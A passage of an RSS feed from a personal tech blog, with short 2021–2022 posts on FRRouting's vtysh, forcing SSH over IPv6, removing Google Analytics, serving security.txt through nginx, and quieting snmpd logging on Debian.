  5108.    <description><![CDATA[<p><a href="https://www.eff.org/" title="Electronic Frontier Foundation | Defending your rights in the digital world"><img src="https://blog.x-way.org/images/member-badge-2022b.jpg" alt="EFF Member Badge 2022" height="300" width="300"></a></p>
  5109. ]]></description>
  5110.    <content:encoded><![CDATA[<p><a href="https://www.eff.org/" title="Electronic Frontier Foundation | Defending your rights in the digital world"><img src="https://blog.x-way.org/images/member-badge-2022b.jpg" alt="EFF Member Badge 2022" height="300" width="300"></a></p>
  5111. ]]></content:encoded>
  5112.  </item>
  5113.  
  5114.  <item>
  5115.    <title>vtysock</title>
  5116.    <link>https://blog.x-way.org/Networking/2022/01/29/vtysock.html</link>
  5117.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324295</guid>
  5118.    <dc:creator>Andreas Jaggi</dc:creator>
  5119.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5120.    <pubDate>Sat, 29 Jan 2022 21:38:00 +0100</pubDate>
  5121.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  5122.    <description><![CDATA[<p>After switching my Debian hosts from <a href="https://en.wikipedia.org/wiki/Quagga_(software)" title="Quagga Software Routing Suite">Quagga</a> to <a href="https://frrouting.org/" title="FRRouting">FRRouting</a>, I noticed that running vtysh has become quite a bit slower especially when making multiple calls to it from my status/monitoring scripts.
  5123. <br>This has also been observed by other users of FRRouting (there's an open issue in their bugtracker: <a href="https://github.com/FRRouting/frr/issues/7799" title="vtysh is significantly slower in FRR than Quagga">#7799</a>).</p>
  5124. <p>The Prometheus <a href="https://github.com/tynany/frr_exporter" title="Prometheus exporter for Free Range Routing">frr_exporter</a> works around this by directly sending commands to the UNIX sockets of the FRR daemons (<a href="https://github.com/tynany/frr_exporter/pull/50" title="frr_exporter - refactor: send cmds to unix socket">PR</a>).</p>
  5125. <p>To use the same approach in my monitoring scripts, I wrote a small utility which acts as a drop-in replacement for vtysh and sends the commands directly to the UNIX sockets of the FRR daemons: <a href="https://github.com/x-way/vtysock" title="x-way/vtysock - a quick vtysh replacement">vtysock</a>
  5126. <br>By skipping the parsing and validation checks done in vtysh, vtysock can achieve a significant speed improvement when executing commands.</p>
  5127. ]]></description>
  5128.    <content:encoded><![CDATA[<p>After switching my Debian hosts from <a href="https://en.wikipedia.org/wiki/Quagga_(software)" title="Quagga Software Routing Suite">Quagga</a> to <a href="https://frrouting.org/" title="FRRouting">FRRouting</a>, I noticed that running vtysh has become quite a bit slower especially when making multiple calls to it from my status/monitoring scripts.
  5129. <br>This has also been observed by other users of FRRouting (there's an open issue in their bugtracker: <a href="https://github.com/FRRouting/frr/issues/7799" title="vtysh is significantly slower in FRR than Quagga">#7799</a>).</p>
  5130. <p>The Prometheus <a href="https://github.com/tynany/frr_exporter" title="Prometheus exporter for Free Range Routing">frr_exporter</a> works around this by directly sending commands to the UNIX sockets of the FRR daemons (<a href="https://github.com/tynany/frr_exporter/pull/50" title="frr_exporter - refactor: send cmds to unix socket">PR</a>).</p>
  5131. <p>To use the same approach in my monitoring scripts, I wrote a small utility which acts as a drop-in replacement for vtysh and sends the commands directly to the UNIX sockets of the FRR daemons: <a href="https://github.com/x-way/vtysock" title="x-way/vtysock - a quick vtysh replacement">vtysock</a>
  5132. <br>By skipping the parsing and validation checks done in vtysh, vtysock can achieve a significant speed improvement when executing commands.</p>
  5133. ]]></content:encoded>
  5134.  </item>
  5135.  
  5136.  <item>
  5137.    <title>Force SSH to use IPv6</title>
  5138.    <link>https://blog.x-way.org/Networking/2022/01/23/Force-SSH-to-use-IPv6.html</link>
  5139.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324294</guid>
  5140.    <dc:creator>Andreas Jaggi</dc:creator>
  5141.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5142.    <pubDate>Sun, 23 Jan 2022 10:53:00 +0100</pubDate>
  5143.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  5144.    <description><![CDATA[<p>In situations where IPv6 connectivity performs better than IPv4, you might want to force SSH to use IPv6. In interactive mode this can be achieved with the <code>-6</code> commandline parameter.<br>But in situations where you can't modify the commandline parameters a different approach is needed (for example in rsync backup scripts which use SSH as underlying transport layer).</p>
  5145. <p>We can use the <a href="https://man.openbsd.org/ssh_config.5" title="ssh_config(5) - OpenBSD manual pages">ssh_config</a> file to encforce that IPv6 is used for a specific host:</p>
  5146. <pre>
  5147. Host myipv6host
  5148. AddressFamily inet6
  5149. </pre>
  5150. <p>This instructs all SSH commands to use IPv6 when connecting to myipv6host.</p>
  5151. <p>The same approach also works to force usage of <a href="https://blog.x-way.org/Networking/2013/07/05/Mandatory-requirement-for-all-non-IPv6-capable-products.html">Legacy IP</a> by specyfing <code>inet</code> as address family.</p>
  5152. ]]></description>
  5153.    <content:encoded><![CDATA[<p>In situations where IPv6 connectivity performs better than IPv4, you might want to force SSH to use IPv6. In interactive mode this can be achieved with the <code>-6</code> commandline parameter.<br>But in situations where you can't modify the commandline parameters a different approach is needed (for example in rsync backup scripts which use SSH as underlying transport layer).</p>
  5154. <p>We can use the <a href="https://man.openbsd.org/ssh_config.5" title="ssh_config(5) - OpenBSD manual pages">ssh_config</a> file to encforce that IPv6 is used for a specific host:</p>
  5155. <pre>
  5156. Host myipv6host
  5157. AddressFamily inet6
  5158. </pre>
  5159. <p>This instructs all SSH commands to use IPv6 when connecting to myipv6host.</p>
  5160. <p>The same approach also works to force usage of <a href="https://blog.x-way.org/Networking/2013/07/05/Mandatory-requirement-for-all-non-IPv6-capable-products.html">Legacy IP</a> by specyfing <code>inet</code> as address family.</p>
  5161. ]]></content:encoded>
  5162.  </item>
  5163.  
  5164.  <item>
  5165.    <title>Google Analytics removed</title>
  5166.    <link>https://blog.x-way.org/Webdesign/2022/01/19/Google-Analytics-removed.html</link>
  5167.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324293</guid>
  5168.    <dc:creator>Andreas Jaggi</dc:creator>
  5169.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5170.    <pubDate>Wed, 19 Jan 2022 22:45:00 +0100</pubDate>
  5171.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  5172.    <description><![CDATA[<p>After running it for a bit more than a decade, I've now removed again the Google Analytics tracking from this site. It does not feel appropriate anymore on a personal website.<br>At the moment no alternative statistics solution is in place yet, but I could imagine setting up a self-hosted solution like <a href="https://matomo.org/" title="Matomo Analytics - The Google Analytics alternative that protects your data">Matomo</a> or <a href="https://plausible.io/" title="Plausible Analytics | Simple, privacy-friendly Google Analytics alternative">Plausible</a> in the future.</p>
  5173. ]]></description>
  5174.    <content:encoded><![CDATA[<p>After running it for a bit more than a decade, I've now removed again the Google Analytics tracking from this site. It does not feel appropriate anymore on a personal website.<br>At the moment no alternative statistics solution is in place yet, but I could imagine setting up a self-hosted solution like <a href="https://matomo.org/" title="Matomo Analytics - The Google Analytics alternative that protects your data">Matomo</a> or <a href="https://plausible.io/" title="Plausible Analytics | Simple, privacy-friendly Google Analytics alternative">Plausible</a> in the future.</p>
  5175. ]]></content:encoded>
  5176.  </item>
  5177.  
  5178.  <item>
  5179.    <title>Google Analytics declared illegal in the EU</title>
  5180.    <link>https://blog.x-way.org/Webdesign/2022/01/19/Google-Analytics-declared-illegal-in-the-EU.html</link>
  5181.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324292</guid>
  5182.    <dc:creator>Andreas Jaggi</dc:creator>
  5183.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5184.    <pubDate>Wed, 19 Jan 2022 20:45:00 +0100</pubDate>
  5185.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  5186.    <description><![CDATA[<p><a href="https://tuta.com/blog/posts/is-google-analytics-illegal/" title="Google Analytics declared illegal in the EU">Google Analytics declared illegal in the EU</a>.</p>
  5187. ]]></description>
  5188.    <content:encoded><![CDATA[<p><a href="https://tuta.com/blog/posts/is-google-analytics-illegal/" title="Google Analytics declared illegal in the EU">Google Analytics declared illegal in the EU</a>.</p>
  5189. ]]></content:encoded>
  5190.  </item>
  5191.  
  5192.  <item>
  5193.    <title>Wordle</title>
  5194.    <link>https://blog.x-way.org/Misc/2022/01/05/Wordle.html</link>
  5195.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324291</guid>
  5196.    <dc:creator>Andreas Jaggi</dc:creator>
  5197.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5198.    <pubDate>Wed, 05 Jan 2022 07:09:00 +0100</pubDate>
  5199.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  5200.    <description><![CDATA[<p><a href="https://www.nytimes.com/games/wordle/index.html" title="Wordle - A daily word game">Wordle</a> seems to be the trending topic these days.<br>It's a word game similar to the french <a href="https://fr.wikipedia.org/wiki/Motus_(jeu_t%C3%A9l%C3%A9vis%C3%A9)" title="Motus - Wikipedia">Motus</a> game show (resp. the american <a href="https://en.wikipedia.org/wiki/Lingo_(American_game_show)" title="Lingo - Wikipedia">Lingo</a> game show).</p>
  5201. <p>Wordle 200 4/6<br>
  5202. <br>
  5203. ⬜⬜⬜🟩⬜<br>
  5204. ⬜⬜🟨🟩⬜<br>
  5205. ⬜⬜⬜🟩🟩<br>
  5206. 🟩🟩🟩🟩🟩<br>
  5207. </p>
  5208. ]]></description>
  5209.    <content:encoded><![CDATA[<p><a href="https://www.nytimes.com/games/wordle/index.html" title="Wordle - A daily word game">Wordle</a> seems to be the trending topic these days.<br>It's a word game similar to the french <a href="https://fr.wikipedia.org/wiki/Motus_(jeu_t%C3%A9l%C3%A9vis%C3%A9)" title="Motus - Wikipedia">Motus</a> game show (resp. the american <a href="https://en.wikipedia.org/wiki/Lingo_(American_game_show)" title="Lingo - Wikipedia">Lingo</a> game show).</p>
  5210. <p>Wordle 200 4/6<br>
  5211. <br>
  5212. ⬜⬜⬜🟩⬜<br>
  5213. ⬜⬜🟨🟩⬜<br>
  5214. ⬜⬜⬜🟩🟩<br>
  5215. 🟩🟩🟩🟩🟩<br>
  5216. </p>
  5217. ]]></content:encoded>
  5218.  </item>
  5219.  
  5220.  <item>
  5221.    <title>Y2K22</title>
  5222.    <link>https://blog.x-way.org/Coding/2022/01/01/Y2K22.html</link>
  5223.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324290</guid>
  5224.    <dc:creator>Andreas Jaggi</dc:creator>
  5225.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5226.    <pubDate>Sat, 01 Jan 2022 21:48:00 +0100</pubDate>
  5227.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  5228.    <description><![CDATA[<p>Turns out that signed 32-bit numbers can be exhausted long before <a href="https://en.wikipedia.org/wiki/Year_2038_problem" title="Year 2038 problem">Y2038</a>, when you use them to store time in YYMMDDHHMM format. (<a href="https://rachelbythebay.com/w/2022/01/01/baddate/" title="rachelbythebay - YYMMDDHHMM just overflowed a signed 32 bit int">via</a>)</p>
  5229. ]]></description>
  5230.    <content:encoded><![CDATA[<p>Turns out that signed 32-bit numbers can be exhausted long before <a href="https://en.wikipedia.org/wiki/Year_2038_problem" title="Year 2038 problem">Y2038</a>, when you use them to store time in YYMMDDHHMM format. (<a href="https://rachelbythebay.com/w/2022/01/01/baddate/" title="rachelbythebay - YYMMDDHHMM just overflowed a signed 32 bit int">via</a>)</p>
  5231. ]]></content:encoded>
  5232.  </item>
  5233.  
  5234.  <item>
  5235.    <title>Open Source on Mars</title>
  5236.    <link>https://blog.x-way.org/Coding/2021/04/19/Open-Source-on-Mars.html</link>
  5237.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324289</guid>
  5238.    <dc:creator>Andreas Jaggi</dc:creator>
  5239.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5240.    <pubDate>Mon, 19 Apr 2021 16:21:00 +0200</pubDate>
  5241.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  5242.    <description><![CDATA[<p>Received a badge from GitHub's <a href="https://github.com/readme/nasa-ingenuity-helicopter" title="Open Source on Mars: Community powers NASA’s Ingenuity Helicopter - The ReadMe Project">Open Source on Mars</a> <a href="https://github.blog/2021-04-19-open-source-goes-to-mars/" title="Open source goes to Mars - The GitHub Blog">initiative</a> :-)</p>
  5243.  
  5244. <p><a href="https://github.com/x-way"><img src="https://blog.x-way.org/images/github_mars_2020_helicopter_contributor.png" alt="Mars 2020 Helicopter Contributor - Andreas Jaggi contributed code to 1 repository used in the Mars 2020 Helicopter Mission: torvalds/linux" title="Mars 2020 Helicopter Contributor - Andreas Jaggi contributed code to 1 repository used in the Mars 2020 Helicopter Mission: torvalds/linux" width="333" height="117"></a></p>
  5245. ]]></description>
  5246.    <content:encoded><![CDATA[<p>Received a badge from GitHub's <a href="https://github.com/readme/nasa-ingenuity-helicopter" title="Open Source on Mars: Community powers NASA’s Ingenuity Helicopter - The ReadMe Project">Open Source on Mars</a> <a href="https://github.blog/2021-04-19-open-source-goes-to-mars/" title="Open source goes to Mars - The GitHub Blog">initiative</a> :-)</p>
  5247.  
  5248. <p><a href="https://github.com/x-way"><img src="https://blog.x-way.org/images/github_mars_2020_helicopter_contributor.png" alt="Mars 2020 Helicopter Contributor - Andreas Jaggi contributed code to 1 repository used in the Mars 2020 Helicopter Mission: torvalds/linux" title="Mars 2020 Helicopter Contributor - Andreas Jaggi contributed code to 1 repository used in the Mars 2020 Helicopter Mission: torvalds/linux" width="333" height="117"></a></p>
  5249. ]]></content:encoded>
  5250.  </item>
  5251.  
  5252.  <item>
  5253.    <title>Top 21 Security Experts to follow on Twitter in 2021</title>
  5254.    <link>https://blog.x-way.org/Networking/2021/04/17/Top-21-Security-Experts-to-follow-on-Twitter-in-2021.html</link>
  5255.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324288</guid>
  5256.    <dc:creator>Andreas Jaggi</dc:creator>
  5257.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5258.    <pubDate>Sat, 17 Apr 2021 06:58:00 +0200</pubDate>
  5259.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  5260.    <description><![CDATA[<p>From the <a href="https://web.archive.org/web/20210412004031/https://securityboulevard.com/2021/04/top-21-cybersecurity-experts-you-must-follow-on-twitter-in-2021/" title="Top-21 Cybersecurity Experts You Must Follow on Twitter in 2021 - Security Boulevard (archive.org)">article on Security Boulevard</a>.</p>
  5261. <ol>
  5262. <li><a href="https://twitter.com/rafaybaloch" title="Rafay Baloch (@rafaybaloch) / Twitter">Rafay Baloch</a></li>
  5263. <li><a href="https://twitter.com/troyhunt" title="Troy Hunt (@troyhunt) / Twitter">Troy Hunt</a></li>
  5264. <li><a href="https://twitter.com/kevinmitnick" title="Kevin Mitnick (@kevinmitnick) / Twitter">Kevin Mitnick</a></li>
  5265. <li><a href="https://twitter.com/RachelTobac" title="Rachel Tobac (@RachelTobac) / Twitter">Rachel Tobac</a></li>
  5266. <li><a href="https://twitter.com/mikko" title="Mikko Hyppönen (@mikko) / Twitter">Mikko Hyppönen</a></li>
  5267. <li><a href="https://twitter.com/k8em0" title="Katie Moussouris (@k8em0) / Twitter">Katie Moussouris</a></li>
  5268. <li><a href="https://twitter.com/schneierblog" title="Bruce Schneier (@schneierblog) / Twitter">Bruce Schneier</a></li>
  5269. <li><a href="https://twitter.com/briankrebs" title="Brian Krebs (@briankrebs) / Twitter">Brian Krebs</a></li>
  5270. <li><a href="https://twitter.com/jeremiahg" title="Jeremiah Grossman (@jeremiahg) / Twitter">Jeremiah Grossman</a></li>
  5271. <li><a href="https://twitter.com/e_kaspersky" title="Eugene Kaspersky (@e_kaspersky) / Twitter">Eugene Kaspersky</a></li>
  5272. <li><a href="https://twitter.com/govcso" title="Dan Lohemann (@govcso) / Twitter">Dan Lohemann</a></li>
  5273. <li><a href="https://twitter.com/CybersecuritySF" title="Steve Morgan (@CybersecuritySF) / Twitter">Steve Morgan</a></li>
  5274. <li><a href="https://twitter.com/TylerCohenWood" title="Tyler Cohen Wood (@TylerCohenWood) / Twitter">Tyler Cohen Wood</a></li>
  5275. <li><a href="https://twitter.com/gcluley" title="Graham Cluley (@gcluley) / Twitter">Graham Cluley</a></li>
  5276. <li><a href="https://twitter.com/TrackerPayton" title="Theresa Payton (@TrackerPayton) / Twitter">Theresa Payton</a></li>
  5277. <li><a href="https://twitter.com/Shirastweet" title="Shira Rubinoff (@Shirastweet) / Twitter">Shira Rubinoff</a></li>
  5278. <li><a href="https://twitter.com/evacide" title="Eva Galperin (@evacide) / Twitter">Eva Galperin</a></li>
  5279. <li><a href="https://twitter.com/marcusjcarey" title="Marcus J. Carey (@marcusjcarey) / Twitter">Marcus J. Carey</a></li>
  5280. <li><a href="https://twitter.com/jaysonstreet" title="Jayson E Street (@jaysonstreet) / Twitter">Jayson E Street</a></li>
  5281. <li><a href="https://twitter.com/securityweekly" title="Paul Asadoorian (@securityweekly) / Twitter">Paul Asadoorian</a></li>
  5282. <li><a href="https://twitter.com/adam_k_levin" title="Adam K. Levin (@adam_k_levin) / Twitter">Adam K. Levin</a></li>
  5283. </ol>
  5284. ]]></description>
  5285.    <content:encoded><![CDATA[<p>From the <a href="https://web.archive.org/web/20210412004031/https://securityboulevard.com/2021/04/top-21-cybersecurity-experts-you-must-follow-on-twitter-in-2021/" title="Top-21 Cybersecurity Experts You Must Follow on Twitter in 2021 - Security Boulevard (archive.org)">article on Security Boulevard</a>.</p>
  5286. <ol>
  5287. <li><a href="https://twitter.com/rafaybaloch" title="Rafay Baloch (@rafaybaloch) / Twitter">Rafay Baloch</a></li>
  5288. <li><a href="https://twitter.com/troyhunt" title="Troy Hunt (@troyhunt) / Twitter">Troy Hunt</a></li>
  5289. <li><a href="https://twitter.com/kevinmitnick" title="Kevin Mitnick (@kevinmitnick) / Twitter">Kevin Mitnick</a></li>
  5290. <li><a href="https://twitter.com/RachelTobac" title="Rachel Tobac (@RachelTobac) / Twitter">Rachel Tobac</a></li>
  5291. <li><a href="https://twitter.com/mikko" title="Mikko Hyppönen (@mikko) / Twitter">Mikko Hyppönen</a></li>
  5292. <li><a href="https://twitter.com/k8em0" title="Katie Moussouris (@k8em0) / Twitter">Katie Moussouris</a></li>
  5293. <li><a href="https://twitter.com/schneierblog" title="Bruce Schneier (@schneierblog) / Twitter">Bruce Schneier</a></li>
  5294. <li><a href="https://twitter.com/briankrebs" title="Brian Krebs (@briankrebs) / Twitter">Brian Krebs</a></li>
  5295. <li><a href="https://twitter.com/jeremiahg" title="Jeremiah Grossman (@jeremiahg) / Twitter">Jeremiah Grossman</a></li>
  5296. <li><a href="https://twitter.com/e_kaspersky" title="Eugene Kaspersky (@e_kaspersky) / Twitter">Eugene Kaspersky</a></li>
  5297. <li><a href="https://twitter.com/govcso" title="Dan Lohemann (@govcso) / Twitter">Dan Lohemann</a></li>
  5298. <li><a href="https://twitter.com/CybersecuritySF" title="Steve Morgan (@CybersecuritySF) / Twitter">Steve Morgan</a></li>
  5299. <li><a href="https://twitter.com/TylerCohenWood" title="Tyler Cohen Wood (@TylerCohenWood) / Twitter">Tyler Cohen Wood</a></li>
  5300. <li><a href="https://twitter.com/gcluley" title="Graham Cluley (@gcluley) / Twitter">Graham Cluley</a></li>
  5301. <li><a href="https://twitter.com/TrackerPayton" title="Theresa Payton (@TrackerPayton) / Twitter">Theresa Payton</a></li>
  5302. <li><a href="https://twitter.com/Shirastweet" title="Shira Rubinoff (@Shirastweet) / Twitter">Shira Rubinoff</a></li>
  5303. <li><a href="https://twitter.com/evacide" title="Eva Galperin (@evacide) / Twitter">Eva Galperin</a></li>
  5304. <li><a href="https://twitter.com/marcusjcarey" title="Marcus J. Carey (@marcusjcarey) / Twitter">Marcus J. Carey</a></li>
  5305. <li><a href="https://twitter.com/jaysonstreet" title="Jayson E Street (@jaysonstreet) / Twitter">Jayson E Street</a></li>
  5306. <li><a href="https://twitter.com/securityweekly" title="Paul Asadoorian (@securityweekly) / Twitter">Paul Asadoorian</a></li>
  5307. <li><a href="https://twitter.com/adam_k_levin" title="Adam K. Levin (@adam_k_levin) / Twitter">Adam K. Levin</a></li>
  5308. </ol>
  5309. ]]></content:encoded>
  5310.  </item>
  5311.  
  5312.  <item>
  5313.    <title>security.txt</title>
  5314.    <link>https://blog.x-way.org/Webdesign/2021/03/28/security-txt.html</link>
  5315.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324287</guid>
  5316.    <dc:creator>Andreas Jaggi</dc:creator>
  5317.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5318.    <pubDate>Sun, 28 Mar 2021 08:16:00 +0200</pubDate>
  5319.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  5320.    <description><![CDATA[<p>This website now also serves a <a href="https://securitytxt.org/" title="security.txt: Proposed standard for defining security policies">security.txt</a> file which is a standardized way of making security contact information available. (<a href="https://en.wikipedia.org/wiki/Security.txt" title="security.txt - Wikipedia">Wikipedia</a>)</p>
  5321. <p>The file is available in two locations <a href="https://blog.x-way.org/security.txt">/security.txt</a> (the classic location) and <a href="https://blog.x-way.org/.well-known/security.txt">/.well-known/security.txt</a> (the standard location following RFC8615).</p>
  5322.  
  5323. <p>To easily add the file on all my domains, I'm using the following nginx config snippet.</p>
  5324. <pre>location /security.txt {
  5325. add_header Content-Type 'text/plain';
  5326. add_header Cache-Control 'no-cache, no-store, must-revalidate';
  5327. add_header Pragma 'no-cache';
  5328. add_header Expires '0';
  5329. add_header Vary '*';
  5330. return 200 "Contact: mailto:andreas+security.txt@jaggi.info\nExpires: Tue, 19 Jan 2038 03:14:07 +0000\nEncryption: http://andreas-jaggi.ch/A3A54203.asc\n";
  5331. }
  5332.  
  5333. location /.well-known/security.txt {
  5334. add_header Content-Type 'text/plain';
  5335. add_header Cache-Control 'no-cache, no-store, must-revalidate';
  5336. add_header Pragma 'no-cache';
  5337. add_header Expires '0';
  5338. add_header Vary '*';
  5339. return 200 "Contact: mailto:andreas+security.txt@jaggi.info\nExpires: Tue, 19 Jan 2038 03:14:07 +0000\nEncryption: http://andreas-jaggi.ch/A3A54203.asc\n";
  5340. }</pre>
  5341.  
  5342. <p>This snippet is stored in a dedicated file (/etc/nginx/conf_includes/securitytxt) and is included in the various server config blocks like this:</p>
  5343. <pre>server {
  5344. server_name example.com;
  5345.  
  5346. include /etc/nginx/conf_includes/securitytxt;
  5347.  
  5348. location / {
  5349. # rest of website
  5350. }
  5351. }</pre>
  5352. ]]></description>
  5353.    <content:encoded><![CDATA[<p>This website now also serves a <a href="https://securitytxt.org/" title="security.txt: Proposed standard for defining security policies">security.txt</a> file which is a standardized way of making security contact information available. (<a href="https://en.wikipedia.org/wiki/Security.txt" title="security.txt - Wikipedia">Wikipedia</a>)</p>
  5354. <p>The file is available in two locations <a href="https://blog.x-way.org/security.txt">/security.txt</a> (the classic location) and <a href="https://blog.x-way.org/.well-known/security.txt">/.well-known/security.txt</a> (the standard location following RFC8615).</p>
  5355.  
  5356. <p>To easily add the file on all my domains, I'm using the following nginx config snippet.</p>
  5357. <pre>location /security.txt {
  5358. add_header Content-Type 'text/plain';
  5359. add_header Cache-Control 'no-cache, no-store, must-revalidate';
  5360. add_header Pragma 'no-cache';
  5361. add_header Expires '0';
  5362. add_header Vary '*';
  5363. return 200 "Contact: mailto:andreas+security.txt@jaggi.info\nExpires: Tue, 19 Jan 2038 03:14:07 +0000\nEncryption: http://andreas-jaggi.ch/A3A54203.asc\n";
  5364. }
  5365.  
  5366. location /.well-known/security.txt {
  5367. add_header Content-Type 'text/plain';
  5368. add_header Cache-Control 'no-cache, no-store, must-revalidate';
  5369. add_header Pragma 'no-cache';
  5370. add_header Expires '0';
  5371. add_header Vary '*';
  5372. return 200 "Contact: mailto:andreas+security.txt@jaggi.info\nExpires: Tue, 19 Jan 2038 03:14:07 +0000\nEncryption: http://andreas-jaggi.ch/A3A54203.asc\n";
  5373. }</pre>
  5374.  
  5375. <p>This snippet is stored in a dedicated file (/etc/nginx/conf_includes/securitytxt) and is included in the various server config blocks like this:</p>
  5376. <pre>server {
  5377. server_name example.com;
  5378.  
  5379. include /etc/nginx/conf_includes/securitytxt;
  5380.  
  5381. location / {
  5382. # rest of website
  5383. }
  5384. }</pre>
  5385. ]]></content:encoded>
  5386.  </item>
  5387.  
  5388.  <item>
  5389.    <title>Fixing 'snmpd[19784]: error on subcontainer 'ia_addr' insert (-1)' messages</title>
  5390.    <link>https://blog.x-way.org/Linux/2021/02/13/Fixing-snmpd-error-on-subcontainer-ia-addr-insert-messages.html</link>
  5391.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324284</guid>
  5392.    <dc:creator>Andreas Jaggi</dc:creator>
  5393.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5394.    <pubDate>Sat, 13 Feb 2021 08:57:00 +0100</pubDate>
  5395.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  5396.    <description><![CDATA[<p>The default configuration of snmpd on Debian has debug level logging enabled and thus we end up with a constant flood of these messages in /var/log/syslog</p>
  5397. <pre>snmpd[19784]: error on subcontainer 'ia_addr' insert (-1)</pre>
  5398. <p>The fix is to lower the logging level, which can be accomplished like this on systems with systemd:</p>
  5399. <pre>cp /lib/systemd/system/snmpd.service /etc/systemd/system/snmpd.service
  5400. sed -i 's/Lsd/LS6d/' /etc/systemd/system/snmpd.service
  5401. systemctl daemon-reload
  5402. systemctl restart snmpd</pre>
  5403. <p>On systems without systemd, the logging level is set by the init script (unless explicitly configured in /etc/default/snmpd), and can be changed like this:</p>
  5404. <pre>sed -i 's/Lsd/LS6d/g' /etc/default/snmpd
  5405. sed -i 's/Lsd/LS6d/g' /etc/init.d/snmpd
  5406. service snmpd restart</pre>
  5407. ]]></description>
  5408.    <content:encoded><![CDATA[<p>The default configuration of snmpd on Debian has debug level logging enabled and thus we end up with a constant flood of these messages in /var/log/syslog</p>
  5409. <pre>snmpd[19784]: error on subcontainer 'ia_addr' insert (-1)</pre>
  5410. <p>The fix is to lower the logging level, which can be accomplished like this on systems with systemd:</p>
  5411. <pre>cp /lib/systemd/system/snmpd.service /etc/systemd/system/snmpd.service
  5412. sed -i 's/Lsd/LS6d/' /etc/systemd/system/snmpd.service
  5413. systemctl daemon-reload
  5414. systemctl restart snmpd</pre>
  5415. <p>On systems without systemd, the logging level is set by the init script (unless explicitly configured in /etc/default/snmpd), and can be changed like this:</p>
  5416. <pre>sed -i 's/Lsd/LS6d/g' /etc/default/snmpd
  5417. sed -i 's/Lsd/LS6d/g' /etc/init.d/snmpd
  5418. service snmpd restart</pre>
  5419. ]]></content:encoded>
  5420.  </item>
  5421.  
  5422.  <item>
  5423.    <title>Embracing the future with SolNet</title>
  5424.    <link>https://blog.x-way.org/Networking/2021/02/04/Embracing-the-future-with-SolNet.html</link>
  5425.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324285</guid>
  5426.    <dc:creator>Andreas Jaggi</dc:creator>
  5427.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5428.    <pubDate>Thu, 04 Feb 2021 10:01:00 +0100</pubDate>
  5429.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  5430.    <description><![CDATA[<p>This was the initial state of my new <a href="https://www.solnet.ch/" title="SolNet - Internet &amp; Solution Provider">SolNet</a> fibre connection:</p>
  5431. <p><img src="https://blog.x-way.org/images/solnet-ipv6-only.png" alt="SolNet connection with native IPv6 but no IPv4" width="487" height="61"></p>
  5432. <p>As I am a proponent of IPv6 this made me very happy, but unfortunately about 20% of my daily websites only offer <a href="https://blog.x-way.org/Networking/2013/07/05/Mandatory-requirement-for-all-non-IPv6-capable-products.html">legacy Internet</a> (which later on I got working as well).</p>
  5433. ]]></description>
  5434.    <content:encoded><![CDATA[<p>This was the initial state of my new <a href="https://www.solnet.ch/" title="SolNet - Internet &amp; Solution Provider">SolNet</a> fibre connection:</p>
  5435. <p><img src="https://blog.x-way.org/images/solnet-ipv6-only.png" alt="SolNet connection with native IPv6 but no IPv4" width="487" height="61"></p>
  5436. <p>As I am a proponent of IPv6 this made me very happy, but unfortunately about 20% of my daily websites only offer <a href="https://blog.x-way.org/Networking/2013/07/05/Mandatory-requirement-for-all-non-IPv6-capable-products.html">legacy Internet</a> (which later on I got working as well).</p>
  5437. ]]></content:encoded>
  5438.  </item>
  5439.  
  5440.  <item>
  5441.    <title>Prozentrechnen ist schwer</title>
  5442.    <link>https://blog.x-way.org/Misc/2021/02/04/Prozentrechnen-ist-schwer.html</link>
  5443.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324286</guid>
  5444.    <dc:creator>Andreas Jaggi</dc:creator>
  5445.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5446.    <pubDate>Thu, 04 Feb 2021 08:20:00 +0100</pubDate>
  5447.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  5448.    <description><![CDATA[<p><a href="https://www.truewealth.ch/" title="True Wealth - Swiss Online Wealth Management">TrueWealth</a> hat's nicht so mit Prozentrechnen:</p>
  5449. <p><img src="https://blog.x-way.org/images/truewealth-prozentrechnen.png" title="6 + 33 + 3 + 12 + 47 = ?" alt="6 + 33 + 3 + 12 + 47 = ?" width="335" height="196"></p>
  5450. ]]></description>
